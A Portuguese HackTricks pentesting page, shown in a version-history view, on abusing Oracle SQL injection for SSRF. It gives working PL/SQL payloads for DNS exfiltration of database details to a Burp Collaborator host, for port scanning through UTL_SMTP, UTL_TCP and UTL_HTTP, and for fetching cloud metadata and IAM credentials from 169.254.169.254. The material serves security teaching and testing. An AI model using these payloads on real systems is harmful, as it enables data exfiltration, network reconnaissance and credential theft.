hacktricks/pentesting-web/sql-injection/oracle-injection.md

150 lines
8.8 KiB
Markdown
Raw Normal View History

2022-05-01 12:41:36 +00:00
# SSRF
2023-06-06 18:56:34 +00:00
**Informação copiada de** [**https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#oracle**](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#oracle)
2023-06-06 18:56:34 +00:00
Usar o Oracle para fazer solicitações HTTP e DNS fora de banda é bem documentado, mas como meio de exfiltrar dados SQL em injeções. Sempre podemos modificar essas técnicas/funções para fazer outras SSRF/XSPA.
2023-06-06 18:56:34 +00:00
A instalação do Oracle pode ser muito dolorosa, especialmente se você quiser configurar uma instância rápida para experimentar comandos. Meu amigo e colega da [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me indicou [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permitiu configurar uma instância em uma máquina AWS Ubuntu t2.large e Docker.
2023-06-06 18:56:34 +00:00
Eu executei o comando docker com a flag `--network="host"` para que eu pudesse imitar o Oracle como uma instalação nativa com acesso total à rede, para o curso deste post.
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
2023-06-06 18:56:34 +00:00
### Pacotes Oracle que suportam especificação de URL ou Nome do Host/Porta <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
2023-06-06 18:56:34 +00:00
Para encontrar quaisquer pacotes e funções que suportem especificação de host e porta, executei uma pesquisa no Google na [Documentação Online do Oracle Database](https://docs.oracle.com/database/121/index.html). Especificamente,
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
2023-06-06 18:56:34 +00:00
A pesquisa retornou os seguintes resultados (nem todos podem ser usados para realizar uma rede de saída):
2021-11-30 16:46:07 +00:00
* DBMS\_NETWORK\_ACL\_ADMIN
* UTL\_SMTP
* DBMS\_XDB
* DBMS\_SCHEDULER
* DBMS\_XDB\_CONFIG
* DBMS\_AQ
* UTL\_MAIL
* DBMS\_AQELM
* DBMS\_NETWORK\_ACL\_UTILITY
* DBMS\_MGD\_ID\_UTL
* UTL\_TCP
* DBMS\_MGWADM
* DBMS\_STREAMS\_ADM
* UTL\_HTTP
2023-06-06 18:56:34 +00:00
Esta pesquisa bruta obviamente ignora pacotes como `DBMS_LDAP` (que permite passar um nome de host e número de porta) como [a página de documentação](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) simplesmente aponta para uma [localização diferente](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Portanto, pode haver outros pacotes Oracle que podem ser abusados para fazer solicitações de saída que eu possa ter perdido.
2023-06-06 18:56:34 +00:00
De qualquer forma, vamos dar uma olhada em alguns dos pacotes que descobrimos e listamos acima.
2021-11-30 16:46:07 +00:00
**DBMS\_LDAP.INIT**
2023-06-06 18:56:34 +00:00
O pacote `DBMS_LDAP` permite o acesso a dados de servidores LDAP. A função `init()` inicializa uma sessão com um servidor LDAP e recebe um nome de host e número de porta como argumento.
2023-06-06 18:56:34 +00:00
Esta função já foi documentada antes para mostrar a exfiltração de dados por DNS, como abaixo.
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
2023-06-06 18:56:34 +00:00
No entanto, dado que a função aceita um nome de host e um número de porta como argumentos, você também pode usá-la para funcionar como um scanner de porta.
2023-06-06 18:56:34 +00:00
Aqui estão alguns exemplos.
```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/18.png)
2023-06-06 18:56:34 +00:00
Um erro `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indica que a porta está fechada, enquanto um valor de sessão aponta para a porta estar aberta.
2021-11-30 16:46:07 +00:00
**UTL\_SMTP**
2023-06-06 18:56:34 +00:00
O pacote `UTL_SMTP` é projetado para enviar e-mails por SMTP. O exemplo fornecido no [site de documentação da Oracle mostra como você pode usar este pacote para enviar um e-mail](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Para nós, no entanto, o interessante é a capacidade de fornecer uma especificação de host e porta.
2023-06-06 18:56:34 +00:00
Um exemplo simples é mostrado abaixo com a função `UTL_SMTP.OPEN_CONNECTION`, com um tempo limite de 2 segundos.
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
```
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/19.png)
2023-06-06 18:56:34 +00:00
Um `ORA-29276: transfer timeout` indica que a porta está aberta, mas nenhuma conexão SMTP foi estabelecida, enquanto um `ORA-29278: SMTP transient error: 421 Service not available` indica que a porta está fechada.
2021-11-30 16:46:07 +00:00
**UTL\_TCP**
2023-06-06 18:56:34 +00:00
O pacote `UTL_TCP` e seus procedimentos e funções permitem a comunicação baseada em TCP/IP com serviços. Se programado para um serviço específico, este pacote pode facilmente se tornar uma forma de entrar na rede ou realizar solicitações completas do lado do servidor, já que todos os aspectos de uma conexão TCP/IP podem ser controlados.
2023-06-06 18:56:34 +00:00
O exemplo no site de documentação da Oracle mostra como você pode usar este pacote para fazer uma conexão TCP bruta para buscar uma página da web. Podemos simplificá-lo um pouco mais e usá-lo para fazer solicitações à instância de metadados, por exemplo, ou a um serviço TCP/IP arbitrário.
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
```
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/20.png)
2023-06-06 18:56:34 +00:00
Esta imagem mostra um exemplo de uma injeção SQL em um aplicativo Oracle. O objetivo é obter informações do banco de dados, como nomes de tabelas e colunas, para posteriormente explorar vulnerabilidades e obter acesso não autorizado. O atacante pode usar essa técnica para realizar ataques SSRF (Server-Side Request Forgery) e XSPA (Cross-Site Port Attacks) em aplicativos web.
```
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
```
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/21.png)
2023-06-06 18:56:34 +00:00
Curiosamente, devido à capacidade de criar solicitações TCP brutas, este pacote também pode ser usado para consultar o serviço de metadados da instância de todos os provedores de nuvem, já que o tipo de método e os cabeçalhos adicionais podem ser passados dentro da solicitação TCP.
2023-06-06 18:56:34 +00:00
**UTL\_HTTP e Solicitações Web**
2023-06-06 18:56:34 +00:00
Talvez a técnica mais comum e amplamente documentada em todos os tutoriais de Injeção de SQL Oracle Out of Band seja o pacote [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Este pacote é definido pela documentação como - `O pacote UTL_HTTP faz chamadas de saída do Protocolo de Transferência de Hipertexto (HTTP) do SQL e PL/SQL. Você pode usá-lo para acessar dados na Internet por meio do HTTP.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/16.png)
2023-06-06 18:56:34 +00:00
Além disso, você pode usar isso para realizar uma varredura de porta rudimentar com consultas como:
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
2023-06-06 18:56:34 +00:00
Um `ORA-12541: TNS:no listener` ou um `TNS:operation timed out` é um sinal de que a porta TCP está fechada, enquanto um `ORA-29263: HTTP protocol error` ou dados são um sinal de que a porta está aberta.
2023-06-06 18:56:34 +00:00
Outro pacote que usei no passado com sucesso variado é o método [`GETCLOB()` do tipo abstrato Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) que permite interagir com uma URL e fornece suporte para o protocolo HTTP. O método `GETCLOB()` é usado para buscar a resposta GET de uma URL como um [tipo de dados CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/22.png)](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)